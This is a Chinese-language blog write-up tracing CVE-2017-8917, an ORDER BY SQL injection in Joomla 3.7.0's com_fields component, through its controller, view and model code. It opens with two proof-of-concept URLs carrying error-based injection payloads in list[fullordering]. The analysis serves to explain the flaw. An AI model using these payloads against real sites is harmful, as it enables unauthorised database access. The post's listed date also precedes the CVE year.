Joomla! 3.7 (CVE-2017-8917) 代码分析
langu_xyz

0x00 背景

1
2
3
4
Security Risk: Severe
Exploitation Level: Easy/Remote
DREAD Score: 8.6/10
Vulnerability: SQL Injection

0x01 POC

1
2
3
http://127.0.0.1/Joomla_16/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=extractvalue(1,concat(0x7e,(select%20user()),0x7e))

http://127.0.0.1/Joomla_16/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,user()),0)

0x02 分析

MVC架构,根据poc往下扒

CVE-2017-8917_Joomla_3.7.0\components\com_fields\controller.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function __construct($config = array())
{
$this->input = JFactory::getApplication()->input;

// Frontpage Editor Fields Button proxying:
if ($this->input->get('view') === 'fields' && $this->input->get('layout') === 'modal')
在这里找到了poc中的fields和modal,顺着这里继续往下

{
// Load the backend language file.
$lang = JFactory::getLanguage();
$lang->load('com_fields', JPATH_ADMINISTRATOR);

$config['base_path'] = JPATH_COMPONENT_ADMINISTRATOR;
设置$config['base_path']为administrator的components目录
}

parent::__construct($config);
}

然后跟踪这个函数到了CVE-2017-8917_Joomla_3.7.0\libraries\legacy\controller\legacy.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function __construct($config = array())
{
.......
// Set the default model search path
if (array_key_exists('model_path', $config))
{
// User-defined dirs
$this->addModelPath($config['model_path'], $this->model_prefix);
}
else
{
$this->addModelPath($this->basePath . '/models', $this->model_prefix);

进入else分支,$this->basePath是上一段中$config['base_path'],即 administators/components
}

..........
}

继续往下走

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function display($cachable = false, $urlparams = array())
此处进行了一个实际操作,获取view、创建model等
{
$document = JFactory::getDocument();
$viewType = $document->getType();
$viewName = $this->input->get('view', $this->default_view);
$viewLayout = $this->input->get('layout', 'default', 'string');

$view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout));

// Get/Create the model
if ($model = $this->getModel($viewName))
此处 getModel进行了一个操作,跟进

{
// Push the model into the view (as default)
$view->setModel($model, true);
}

$view->document = $document;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public function getModel($name = '', $prefix = '', $config = array())
{
if (empty($name))
{
$name = $this->getName();
}

if (empty($prefix))
{
$prefix = $this->model_prefix;
}

if ($model = $this->createModel($name, $prefix, $config))
调用createModel方法进行类的实例化并返回$model
{
// Task is a reserved state
$model->setState('task', $this->task);

// Let's get the application object and set menu information if it's available
$menu = JFactory::getApplication()->getMenu();

if (is_object($menu))
{
if ($item = $menu->getActive())
{
$params = $menu->getParams($item->id);

// Set default state data
$model->setState('parameters.menu', $params);
}
}
}

return $model;
}

然后接下来setModel将model Push到view中

1
2
3
4
5
6
// Get/Create the model
if ($model = $this->getModel($viewName))
{
// Push the model into the view (as default)
$view->setModel($model, true);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
	// Display the view
if ($cachable && $viewType != 'feed' && JFactory::getConfig()->get('caching') >= 1)
{
$option = $this->input->get('option');

if (is_array($urlparams))
{
$app = JFactory::getApplication();

if (!empty($app->registeredurlparams))
{
$registeredurlparams = $app->registeredurlparams;
}
else
{
$registeredurlparams = new stdClass;
}

foreach ($urlparams as $key => $value)
{
// Add your safe URL parameters with variable type as value {@see JFilterInput::clean()}.
$registeredurlparams->$key = $value;
}

$app->registeredurlparams = $registeredurlparams;
}

try
{
/** @var JCacheControllerView $cache */
$cache = JFactory::getCache($option, 'view');
$cache->get($view, 'display');
}
catch (JCacheException $exception)
{
$view->display();
}
}
else
{
$view->display();
调用视图的display函数
}

return $this;
}

跳转到视图的display函数中CVE-2017-8917_Joomla_3.7.0\administrator\components\com_fields\views\fields\view.html.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
	public function display($tpl = null)
{
$this->state = $this->get('State');
此处调用了get函数
$this->items = $this->get('Items');
$this->pagination = $this->get('Pagination');
$this->filterForm = $this->get('FilterForm');
$this->activeFilters = $this->get('ActiveFilters');

// Check for errors.
if (count($errors = $this->get('Errors')))
{
JError::raiseError(500, implode("\n", $errors));

return false;
}
......
}

跟进上一段中的get函数CVE-2017-8917_Joomla_3.7.0\libraries\legacy\view\legacy.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public function get($property, $default = null)
{
// If $model is null we use the default model
if (is_null($default))
{
$model = $this->_defaultModel;
}
else
{
$model = strtolower($default);
}

// First check to make sure the model requested exists
if (isset($this->_models[$model]))
{
// Model exists, let's build the method name
$method = 'get' . ucfirst($property);
$property是我们传进的实参也就是'State',那么拼接起来后的方法名就是getState,然后调用这个方法

// Does the method exist?
if (method_exists($this->_models[$model], $method))
{
// The method exists, let's call it and return what we get
$result = $this->_models[$model]->$method();

return $result;
}
}

// Degrade to JObject::get
$result = parent::get($property, $default);

return $result;
}

接下来跟踪getState,CVE-2017-8917_Joomla_3.7.0\libraries\legacy\model\legacy.php

1
2
3
4
5
6
7
8
9
10
11
12
13
public function getState($property = null, $default = null)
{
if (!$this->__state_set)
{
// Protected method to auto-populate the model state.
$this->populateState();
调用populateState函数
// Set the model state set flag to true.
$this->__state_set = true;
}

return $property === null ? $this->state : $this->state->get($property, $default);
}

追踪populateState函数CVE-2017-8917_Joomla_3.7.0\administrator\components\com_fields\models\fields.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected function populateState($ordering = null, $direction = null)
{
// List state information.
parent::populateState('a.ordering', 'asc');
调用了父类populateState方法

$context = $this->getUserStateFromRequest($this->context . '.context', 'context', 'com_content.article', 'CMD');
$this->setState('filter.context', $context);

// Split context into component and optional section
$parts = FieldsHelper::extract($context);

if ($parts)
{
$this->setState('filter.component', $parts[0]);
$this->setState('filter.section', $parts[1]);
}
}

跟踪到父类CVE-2017-8917_Joomla_3.7.0\libraries\legacy\model\list.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// Receive & set list options
if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
{
foreach ($list as $name => $value)
{
// Exclude if blacklisted
if (!in_array($name, $this->listBlacklist))
{
// Extra validations
switch ($name)
{
case 'fullordering':
$orderingParts = explode(' ', $value);

if (count($orderingParts) >= 2)
{
// Latest part will be considered the direction
$fullDirection = end($orderingParts);

if (in_array(strtoupper($fullDirection), array('ASC', 'DESC', '')))
{
$this->setState('list.direction', $fullDirection);
}

取了个list的值进来赋值给了$list
$list遍历出来,接着switch 键值

switch完成后

1
$this->setState('list.' . $name, $value);

通过这个可以设置list.fullordering
设置后,下一步就要考虑如何取出来

在视图文件中的display方法中,利用get(‘State’)来调用了getState方法。紧跟着这个操作的下一行,就有一个get(‘Item’)

1
2
3
4
public function display($tpl = null)
{
$this->state = $this->get('State');
$this->items = $this->get('Items');

跟踪getItems函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function getItems()
{
// Get a storage key.
$store = $this->getStoreId();

// Try to load the data from internal storage.
if (isset($this->cache[$store]))
{
return $this->cache[$store];
}

try
{
// Load the list items and add the items to the internal cache.
$this->cache[$store] = $this->_getList($this->_getListQuery(), $this->getStart(), $this->getState('list.limit'));调用了一个_getListQuery方法
}
catch (RuntimeException $e)
{
$this->setError($e->getMessage());

return false;
}

return $this->cache[$store];
}

跟踪_getListQuery函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected function _getListQuery()
{
// Capture the last store id used.
static $lastStoreId;

// Compute the current store id.
$currentStoreId = $this->getStoreId();

// If the last store id is different from the current, refresh the query.
if ($lastStoreId != $currentStoreId || empty($this->query))
{
$lastStoreId = $currentStoreId;
$this->query = $this->getListQuery();
}

return $this->query;
}

然后这里又调用了一个getListQuery方法,这里调用的getListQuery不是此类的getListQuery,而是子类,也就是filedsModel类里的getListQuery了,在该方法的最后
CVE-2017-8917_Joomla_3.7.0\administrator\components\com_fields\models\fields.php

1
2
3
4
5
6
7
8
9
10
11
12
13
// Add the list ordering clause
$listOrdering = $this->getState('list.fullordering', 'a.ordering');
$orderDirn = '';

if (empty($listOrdering))
{
$listOrdering = $this->state->get('list.ordering', 'a.ordering');
$orderDirn = $this->state->get('list.direction', 'DESC');
}

$query->order($db->escape($listOrdering) . ' ' . $db->escape($orderDirn));

return $query;

这里就调用getState将前面设置的list.fullordering的值给取了出来,然后带入到了order函数中去了,就造成了一个order by的注入


![](15190501748892.png)
  • Post title:Joomla! 3.7 (CVE-2017-8917) 代码分析
  • Post author:langu_xyz
  • Create time:2016-10-19 21:00:00
  • Post link:https://blog.langu.xyz/Joomla! 3.7 (CVE-2017-8917) 代码分析/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.